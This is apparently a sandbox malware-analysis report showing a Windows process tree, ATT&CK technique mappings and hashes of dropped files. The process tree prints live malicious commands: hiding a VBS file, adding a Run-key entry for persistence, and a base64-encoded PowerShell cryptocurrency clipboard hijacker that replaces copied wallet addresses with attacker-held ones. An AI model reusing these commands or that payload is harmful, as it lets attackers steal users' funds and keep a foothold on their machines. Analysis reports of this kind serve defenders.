                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
                                  4⤵
                                    PID:5304
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:14
                                    4⤵
                                      PID:3816
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2252,i,3248809931718544338,9360717467406440777,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:14
                                      4⤵
                                        PID:2192
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmpx7qnbclf.ps1
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3532
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ockSETTKJI.vbs""
                                      3⤵
                                      • Hide Artifacts: Hidden Files and Directories
                                      • Suspicious use of WriteProcessMemory
                                      PID:788
                                      • C:\Windows\system32\attrib.exe
                                        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ockSETTKJI.vbs"
                                        4⤵
                                        • Views/modifies file attributes
                                        PID:4824
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ockSETTKJI" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ockSETTKJI.vbs"" /f"
                                      3⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2004
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ockSETTKJI" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ockSETTKJI.vbs"" /f
                                        4⤵
                                        • Adds Run key to start application
                                        PID:4248
                                    • C:\Windows\SYSTEM32\wscript.exe
                                      wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ockSETTKJI.vbs
                                      3⤵
                                      • Loads dropped DLL
                                      • Suspicious use of WriteProcessMemory
                                      PID:4176
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoADEAfAAzAHwAYgBjADEAKQBbAGEALQB6AEEALQBIAEoALQBOAFAALQBaADAALQA5AF0AewAyADUALAA2ADIAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAYgB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAwAHgAWwBhAC0AZgBBAC0ARgAwAC0AOQBdAHsANAAwAH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGUAdABoACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AKABMAHwATQB8AGwAdABjADEAKQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAALQBaADEALQA5AF0AewAyADYALAA0ADAAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAbAB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBUAFsAYQAtAHoAQQAtAEgASgAtAE4AUAAtAFoAMAAtADkAXQB7ADMAMwB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgB1AHMAZAB0ACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AWwAxAC0AOQBBAC0ASABKAC0ATgBQAC0AWgBhAC0AawBtAC0AegBdAHsAMwAyACwANAA0AH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAHMAbwBsACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AcgBbADAALQA5AGEALQB6AEEALQBaAF0AewAyADQALAAzADQAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeAByAHAAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAFUAUQB8AEUAUQApAFsAQQAtAFoAYQAtAHoAMAAtADkAXwAtAF0AewA0ADYAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAdABvAG4AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBEAFsANQAtADkAQQAtAEgASgAtAE4AUAAtAFUAXQBbADEALQA5AEEALQBIAEoALQBOAFAALQBaAGEALQBrAG0ALQB6AF0AewAzADIALAAzADMAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAZABvAGcAZQAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAoACQAdAAgAC0AbQBhAHQAYwBoACAAJwBeAGEAZABkAHIAMQBbADAALQA5AGEALQB6AF0AewA1ADgALAB9ACQAfABeAEQAZAB6AEYARgBbAEEALQBaAGEALQB6ADAALQA5AF0AKwAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGEAZABhACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4ARwBbAEEALQBaADAALQA5AF0AewA1ADUAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeABsAG0AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAGIAaQB0AGMAbwBpAG4AYwBhAHMAaAA6ACkAPwBbAHEAcABdAFsAYQAtAHoAMAAtADkAXQB7ADQAMQB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgBiAGMAaAAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHYAIAAtAGEAbgBkACAAJAB0ACAALQBuAGUAIAAkAHYAKQB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AQwBsAGkAcABiAG8AYQByAGQAXQA6ADoAUwBlAHQAVABlAHgAdAAoACQAdgApAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAKAH0ACgAKAA==
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1916
                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                  1⤵
                                    PID:4800
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                    1⤵
                                      PID:4712
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                      1⤵
                                      • Modifies data under HKEY_USERS
                                      PID:3108
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                      1⤵
                                        PID:2368
                                      • C:\Program Files\GPSoftware\Directory Opus\dopus.exe
                                        "C:\Program Files\GPSoftware\Directory Opus\dopus.exe" /ignoresetup autolister=layout
                                        1⤵
                                        • Drops startup file
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Adds Run key to start application
                                        • Checks whether UAC is enabled
                                        • Enumerates connected drives
                                        • Drops file in System32 directory
                                        • Drops file in Program Files directory
                                        • Drops file in Windows directory
                                        • Modifies Control Panel
                                        • Modifies registry class
                                        • NTFS ADS
                                        • Suspicious behavior: AddClipboardFormatListener
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        • Suspicious use of WriteProcessMemory
                                        PID:5472
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5472
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:1076
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /testdarkmode
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:3780
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /getsystemdpi
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:5076
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5472,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:3116
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5472,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:412
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5472,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:5840
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /dblclk
                                          2⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4788
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5472
                                          2⤵
                                          • Executes dropped EXE
                                          PID:3748
                                      • C:\Program Files\GPSoftware\Directory Opus\dopus.exe
                                        "C:\Program Files\GPSoftware\Directory Opus\dopus.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks whether UAC is enabled
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of WriteProcessMemory
                                        PID:5260
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5260,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:4616
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5260,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:2928
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /testdarkmode
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:1296
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /crashhandler:5260,restart
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:5884
                                      • C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopus.exe
                                        C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopus.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks whether UAC is enabled
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4220
                                        • C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopusrt.exe
                                          C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopusrt.exe /crashhandler:4220,restart
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1628
                                        • C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopusrt.exe
                                          "C:\PROGRA~1\GPSOFT~1\DIRECT~1\dopusrt.exe" /testdarkmode
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1472
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
                                        1⤵
                                          PID:2620
                                        • C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                          "C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe" /dblclk
                                          1⤵
                                          • Executes dropped EXE
                                          PID:3008

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Reconnaissance

                                              Resource Development

                                              Initial Access

                                              Execution

                                              Command and Scripting Interpreter

                                              1
                                              T1059

                                              PowerShell

                                              1
                                              T1059.001

                                              Persistence

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              1
                                              T1547.001

                                              Event Triggered Execution

                                              1
                                              T1546

                                              Component Object Model Hijacking

                                              1
                                              T1546.015

                                              Modify Authentication Process

                                              1
                                              T1556

                                              Privilege Escalation

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              1
                                              T1547.001

                                              Event Triggered Execution

                                              1
                                              T1546

                                              Component Object Model Hijacking

                                              1
                                              T1546.015

                                              Defense Evasion

                                              Hide Artifacts

                                              2
                                              T1564

                                              Hidden Files and Directories

                                              2
                                              T1564.001

                                              Modify Authentication Process

                                              1
                                              T1556

                                              Modify Registry

                                              2
                                              T1112

                                              Credential Access

                                              Credentials from Password Stores

                                              1
                                              T1555

                                              Credentials from Web Browsers

                                              1
                                              T1555.003

                                              Modify Authentication Process

                                              1
                                              T1556

                                              Steal Web Session Cookie

                                              1
                                              T1539

                                              Unsecured Credentials

                                              3
                                              T1552

                                              Credentials In Files

                                              3
                                              T1552.001

                                              Discovery

                                              Browser Information Discovery

                                              1
                                              T1217

                                              Peripheral Device Discovery

                                              1
                                              T1120

                                              Query Registry

                                              4
                                              T1012

                                              System Information Discovery

                                              4
                                              T1082

                                              System Location Discovery

                                              1
                                              T1614

                                              System Language Discovery

                                              1
                                              T1614.001

                                              System Time Discovery

                                              1
                                              T1124

                                              Lateral Movement

                                              Collection

                                              Data from Local System

                                              2
                                              T1005

                                              Command and Control

                                              Web Service

                                              1
                                              T1102

                                              Exfiltration

                                              Impact

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              dopus.exe
                                              • Path C:\Program Files\GPSoftware\Directory Opus\dopus.exe
                                              • Size 35.5MB
                                              • SHA256 44a9315777b28b221761f908905cce0c6c9bc6bbf7306a9f9a56171d470d547b
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              dopuslib32.dll
                                              • Path C:\Program Files\GPSoftware\Directory Opus\dopuslib32.dll
                                              • Size 1.1MB
                                              • SHA256 55365a11c71a64cb970d0bd64233c013a2acdfb341370200b6c9cf784dac5b88
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              dopusrt.exe
                                              • Path C:\Program Files\GPSoftware\Directory Opus\dopusrt.exe
                                              • Size 475KB
                                              • SHA256 765842510b447b31e5cf9ab2d53f5c3d45efd4971b2e128f0eb45e09317be51e
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              innohelp.dll
                                              • Path C:\Program Files\GPSoftware\Directory Opus\innohelp.dll
                                              • Size 165KB
                                              • SHA256 64a10d0767666576d37746065890219d5336c0f8916d117b3b744c025dca1fa5
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              globaldata.omd.tmp
                                              • Path C:\ProgramData\GPSoftware\Directory Opus\Global Data\globaldata.omd.tmp
                                              • Size 354B
                                              • SHA256 b89e980f66ddfb383ebe9a4a5e2abb3ec866155c72581ab7844b443528aaf0cb
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              globaldata.omd.tmp
                                              • Path C:\ProgramData\GPSoftware\Directory Opus\Global Data\globaldata.omd.tmp
                                              • Size 353B
                                              • SHA256 2ff861887cd3b8a59b9fc42859857ed54d20b8a7a71de57f98a60a179e94e509
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd
                                              • Size 364B
                                              • SHA256 2075385c1e5b59d143f02f9dac0c1ff6845ddb169615bb0c9f9e93aad1ab678c
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 449B
                                              • SHA256 67a709447c916e9b87e3ee16fba45b3bdab75598c8e8510850f60efb9b16dc15
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 574cff413bef3268696fd939c41eebd917b5f49ef70a90611ed267b13c72fd47
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 662B
                                              • SHA256 227fa78a69f3febb0b7a805f5a9d3ba808f92ba5449af56baa5cbd3d65b6fe9a
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 867B
                                              • SHA256 f1fb67afa0d1cdfbbf0008efc269ebf62393f759cad0239c92a20ab11b0ae0c9
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 4370c8c506c375be4a102e39340b6ccf041530d510e536ea5bd04de1a1cbf843
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 f957c5bf0e5c2828d8ffec4a63a2fdfe1fde00ab462132db593c693c035648fe
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 23af848881d3e16a8a550168a7755256ee295299662846ced3f4613e562d7db2
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 156cfaf5f6fc2d9944d7d185bc0f2a0194bec542644e59f84d2024e7694fb1d8
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 39a5c4b235c16eea7b94de732752f7bec2e75486d232392c69da99521a8f39ed
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 2KB
                                              • SHA256 6dce6243f20a7d7a78266ef6ab9efe377f40c4cca9681db5092472c522e1220f
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 1KB
                                              • SHA256 12454e2766be9f6811f16d1226bf0c15527dedb5881c2dbc1304c0ad1c0ffc2b
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 3KB
                                              • SHA256 6dd6ab0e7c28252d205216cd9607e8dd8e71b7c8cb3f4c3a9a93b86ff09a9a3f
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              windowstate.osd.tmp
                                              • Path C:\Users\Admin\AppData\Local\GPSoftware\Directory Opus\State Data\windowstate.osd.tmp
                                              • Size 2KB
